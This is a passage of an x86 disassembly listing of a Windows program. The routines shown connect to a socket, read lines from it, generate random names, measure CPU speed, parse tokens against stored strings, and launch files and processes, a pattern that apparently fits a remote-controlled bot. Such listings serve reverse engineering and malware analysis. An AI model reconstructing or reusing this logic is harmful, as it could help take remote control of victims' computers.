		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_401893
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B654
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B654:				; CODE XREF: sub_41B560+B5j
					; sub_41B560+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B5CE


loc_41B65F:				; CODE XREF: sub_41B560+3Ej
					; sub_41B560+68j ...
		mov	ecx, ebx
		call	sub_4014DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B670:				; CODE XREF: sub_41B560+Bj
					; sub_41B560+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B560	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B6D0:				; CODE XREF: ___:00401C21j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B745
		mov	esi, ebp


loc_41B6EF:				; CODE XREF: ___:0041B743j
		cmp	esi, ebx
		jz	short loc_41B745
		cmp	[esp+18h], bl
		jz	short loc_41B745
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B754
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B754
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_41B74D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B730
		cmp	al, 0Dh
		jz	short loc_41B730
		cmp	al, bl
		jnz	short loc_41B738


loc_41B730:				; CODE XREF: ___:0041B726j
					; ___:0041B72Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B738:				; CODE XREF: ___:0041B72Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B6EF


loc_41B745:				; CODE XREF: ___:0041B6EBj
					; ___:0041B6F1j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B74D:				; CODE XREF: ___:0041B71Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B754:				; CODE XREF: ___:0041B70Aj
					; ___:0041B70Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B790	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B7FA
		mov	edi, ebp


loc_41B7AF:				; CODE XREF: sub_41B790+68j
		cmp	edi, ebx
		jz	short loc_41B7FA
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B7FA
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		test	eax, eax
		jz	short loc_41B809
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B7DA
		cmp	al, bl
		jnz	short loc_41B7ED


loc_41B7DA:				; CODE XREF: sub_41B790+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B7E7
		mov	[esi+ebp-1], bl
		jmp	short loc_41B7E9
; ---------------------------------------------------------------------------


loc_41B7E7:				; CODE XREF: sub_41B790+4Fj
		mov	[edi], bl


loc_41B7E9:				; CODE XREF: sub_41B790+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B7ED:				; CODE XREF: sub_41B790+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7AF


loc_41B7FA:				; CODE XREF: sub_41B790+1Bj
					; sub_41B790+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B809:				; CODE XREF: sub_41B790+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B790	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B830:				; CODE XREF: ___:00401ADCj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B88B


loc_41B856:				; CODE XREF: ___:0041B889j
		push	3
		push	1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B877
		dec	eax
		jz	short loc_41B871
		dec	eax
		jnz	short loc_41B886
		push	7Ah
		push	61h
		jmp	short loc_41B87B
; ---------------------------------------------------------------------------


loc_41B871:				; CODE XREF: ___:0041B866j
		push	5Ah
		push	41h
		jmp	short loc_41B87B
; ---------------------------------------------------------------------------


loc_41B877:				; CODE XREF: ___:0041B863j
		push	39h
		push	30h


loc_41B87B:				; CODE XREF: ___:0041B86Fj
					; ___:0041B875j
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B886:				; CODE XREF: ___:0041B869j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B856


loc_41B88B:				; CODE XREF: ___:0041B854j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B8B0	proc near		; CODE XREF: sub_40141Aj
		rdtsc
		retn
sub_41B8B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B8D0	proc near		; CODE XREF: sub_4017F3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_50F8D0
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B8DF:				; CODE XREF: sub_41B8D0+43j
					; sub_41B8D0+4Dj
		call	sub_40141A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_40141A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_436A10
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_436A10
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B8DF
		jb	short loc_41B91F
		cmp	esi, 0F4240h
		ja	short loc_41B8DF


loc_41B91F:				; CODE XREF: sub_41B8D0+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_436990
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9A9
		jb	short loc_41B93F
		cmp	ecx, 50h
		jnb	short loc_41B948


loc_41B93F:				; CODE XREF: sub_41B8D0+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B948:				; CODE XREF: sub_41B8D0+6Dj
		cmp	edx, ebp
		ja	short loc_41B9A9
		jb	short loc_41B953
		cmp	ecx, 47h
		jnb	short loc_41B95C


loc_41B953:				; CODE XREF: sub_41B8D0+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B95C:				; CODE XREF: sub_41B8D0+81j
		cmp	edx, ebp
		ja	short loc_41B9A9
		jb	short loc_41B967
		cmp	ecx, 37h
		jnb	short loc_41B970


loc_41B967:				; CODE XREF: sub_41B8D0+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B970:				; CODE XREF: sub_41B8D0+95j
		cmp	edx, ebp
		ja	short loc_41B9A9
		jb	short loc_41B97B
		cmp	ecx, 26h
		jnb	short loc_41B984


loc_41B97B:				; CODE XREF: sub_41B8D0+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B984:				; CODE XREF: sub_41B8D0+A9j
		cmp	edx, ebp
		ja	short loc_41B9A9
		jb	short loc_41B98F
		cmp	ecx, 1Eh
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B8D0+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B8D0+BDj
		cmp	edx, ebp
		ja	short loc_41B9A9
		jb	short loc_41B9A3
		cmp	ecx, 0Ah
		jnb	short loc_41B9A9


loc_41B9A3:				; CODE XREF: sub_41B8D0+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9A9:				; CODE XREF: sub_41B8D0+66j
					; sub_41B8D0+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B8D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA00	proc near		; CODE XREF: sub_402022j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_447729
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BB5F
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_401424
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C5D
		mov	ebp, eax
		call	sub_401EEC
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013D9
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jnz	short loc_41BA96
		mov	edi, offset byte_446F30
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BA96:				; CODE XREF: sub_41BA00+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BA9F:				; CODE XREF: sub_41BA00+A9j
		cmp	ecx, eax
		jnz	short loc_41BAA5
		mov	bl, 1


loc_41BAA5:				; CODE XREF: sub_41BA00+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BA9F
		mov	eax, 61h


loc_41BAB0:				; CODE XREF: sub_41BA00+BAj
		cmp	ecx, eax
		jnz	short loc_41BAB6
		mov	bl, 1


loc_41BAB6:				; CODE XREF: sub_41BA00+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BAB0
		test	bl, bl
		jnz	short loc_41BAE2
		mov	edi, offset byte_446F30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BAE2:				; CODE XREF: sub_41BA00+BEj
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BB5F:				; CODE XREF: sub_41BA00+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_401424
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 2870914h
		push	eax
		call	near ptr 77C371BCh
		nop
		mov	edi, dword_50FABC
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015D7
		test	esi, esi
		jle	short loc_41BBFE


loc_41BBA8:				; CODE XREF: sub_41BA00+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_401424
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FBE
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_443E44
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBA8


loc_41BBFE:				; CODE XREF: sub_41BA00+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BCD0:				; CODE XREF: ___:00401569j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BCDF
		cmp	al, 9
		jz	short loc_41BCDF
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BCDF:				; CODE XREF: ___:0041BCD6j
					; ___:0041BCDAj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD00:				; CODE XREF: ___:00401ED8j
		mov	eax, [esp+4]
		push	offset dword_443E4C
		push	eax
		call	near ptr 77C3F010h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD24
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD24:				; CODE XREF: ___:0041BD15j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD40	proc near		; CODE XREF: sub_401479j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BF9E
		mov	esi, offset byte_446F30
		mov	eax, edi


loc_41BD5A:				; CODE XREF: sub_41BD40+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BD82
		test	cl, cl
		jz	short loc_41BD7E
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BD82
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BD5A


loc_41BD7E:				; CODE XREF: sub_41BD40+26j
		xor	eax, eax
		jmp	short loc_41BD87
; ---------------------------------------------------------------------------


loc_41BD82:				; CODE XREF: sub_41BD40+22j
					; sub_41BD40+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BD87:				; CODE XREF: sub_41BD40+40j
		test	eax, eax
		jz	loc_41BF9E
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_50FAF4
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4437F8
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BF9E
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BDC7:				; CODE XREF: sub_41BD40+A4j
		push	offset dword_4437F8
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BF9E
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BDC7
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443E68
		mov	eax, ebp


loc_41BDF1:				; CODE XREF: sub_41BD40+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE19
		test	dl, dl
		jz	short loc_41BE15
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE19
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BDF1


loc_41BE15:				; CODE XREF: sub_41BD40+BDj
		xor	eax, eax
		jmp	short loc_41BE1E
; ---------------------------------------------------------------------------


loc_41BE19:				; CODE XREF: sub_41BD40+B9j
					; sub_41BD40+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE1E:				; CODE XREF: sub_41BD40+D7j
		test	eax, eax
		jnz	short loc_41BE2C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE2C:				; CODE XREF: sub_41BD40+E0j
		mov	esi, offset dword_443E64
		mov	eax, ebp


loc_41BE33:				; CODE XREF: sub_41BD40+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE5B
		test	dl, dl
		jz	short loc_41BE57
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE5B
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE33


loc_41BE57:				; CODE XREF: sub_41BD40+FFj
		xor	eax, eax
		jmp	short loc_41BE60
; ---------------------------------------------------------------------------


loc_41BE5B:				; CODE XREF: sub_41BD40+FBj
					; sub_41BD40+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE60:				; CODE XREF: sub_41BD40+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEAA
		mov	esi, offset dword_443E60
		mov	edx, edi


loc_41BE6F:				; CODE XREF: sub_41BD40+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE97
		test	bl, bl
		jz	short loc_41BE93
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE97
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE6F


loc_41BE93:				; CODE XREF: sub_41BD40+13Bj
		xor	edx, edx
		jmp	short loc_41BE9C
; ---------------------------------------------------------------------------


loc_41BE97:				; CODE XREF: sub_41BD40+137j
					; sub_41BD40+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE9C:				; CODE XREF: sub_41BD40+155j
		test	edx, edx
		jnz	short loc_41BEAA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEAA:				; CODE XREF: sub_41BD40+126j
					; sub_41BD40+15Ej
		mov	esi, offset dword_443E5C
		mov	edx, ebp


loc_41BEB1:				; CODE XREF: sub_41BD40+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BED9
		test	bl, bl
		jz	short loc_41BED5
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BED9
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEB1


loc_41BED5:				; CODE XREF: sub_41BD40+17Dj
		xor	edx, edx
		jmp	short loc_41BEDE
; ---------------------------------------------------------------------------


loc_41BED9:				; CODE XREF: sub_41BD40+179j
					; sub_41BD40+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEDE:				; CODE XREF: sub_41BD40+197j
		test	edx, edx
		jnz	short loc_41BF24
		mov	esi, offset dword_443E58
		mov	edx, edi


loc_41BEE9:				; CODE XREF: sub_41BD40+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF11
		test	bl, bl
		jz	short loc_41BF0D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF11
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEE9


loc_41BF0D:				; CODE XREF: sub_41BD40+1B5j
		xor	edx, edx
		jmp	short loc_41BF16
; ---------------------------------------------------------------------------


loc_41BF11:				; CODE XREF: sub_41BD40+1B1j
					; sub_41BD40+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF16:				; CODE XREF: sub_41BD40+1CFj
		test	edx, edx
		jnz	short loc_41BF24
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF24:				; CODE XREF: sub_41BD40+1A0j
					; sub_41BD40+1D8j
		mov	esi, offset dword_443E54
		mov	ecx, ebp


loc_41BF2B:				; CODE XREF: sub_41BD40+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BF53
		test	dl, dl
		jz	short loc_41BF4F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BF53
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF2B


loc_41BF4F:				; CODE XREF: sub_41BD40+1F7j
		xor	ecx, ecx
		jmp	short loc_41BF58
; ---------------------------------------------------------------------------


loc_41BF53:				; CODE XREF: sub_41BD40+1F3j
					; sub_41BD40+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BF58:				; CODE XREF: sub_41BD40+211j
		test	ecx, ecx
		jnz	short loc_41BF9E
		mov	esi, offset dword_443E50
		mov	eax, edi


loc_41BF63:				; CODE XREF: sub_41BD40+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BF8B
		test	cl, cl
		jz	short loc_41BF87
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BF8B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BF63


loc_41BF87:				; CODE XREF: sub_41BD40+22Fj
		xor	eax, eax
		jmp	short loc_41BF90
; ---------------------------------------------------------------------------


loc_41BF8B:				; CODE XREF: sub_41BD40+22Bj
					; sub_41BD40+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BF90:				; CODE XREF: sub_41BD40+249j
		test	eax, eax
		jnz	short loc_41BF9E
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF9E:				; CODE XREF: sub_41BD40+Dj
					; sub_41BD40+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C050	proc near		; CODE XREF: sub_402004j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C0B8
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C0B8
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41C0A9
		mov	bl, 1


loc_41C0A9:				; CODE XREF: sub_41C050+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C0B8:				; CODE XREF: sub_41C050+18j
					; sub_41C050+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C050	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0E0	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C0E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C120	proc near		; CODE XREF: sub_402149j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		call	near ptr 2880000h
		nop
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C120	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C190:				; CODE XREF: ___:00401875j
		sub	esp, 354h
		mov	eax, off_443E74
		mov	ecx, dword_443E78
		mov	[esp+0], eax
		mov	al, byte_446F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443E7C
		rep stosd
		mov	ecx, off_443E6C
		mov	[esp+10h], edx
		mov	dx, word_443E70
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 2830000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50BB4C
		push	offset dword_50BB4C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
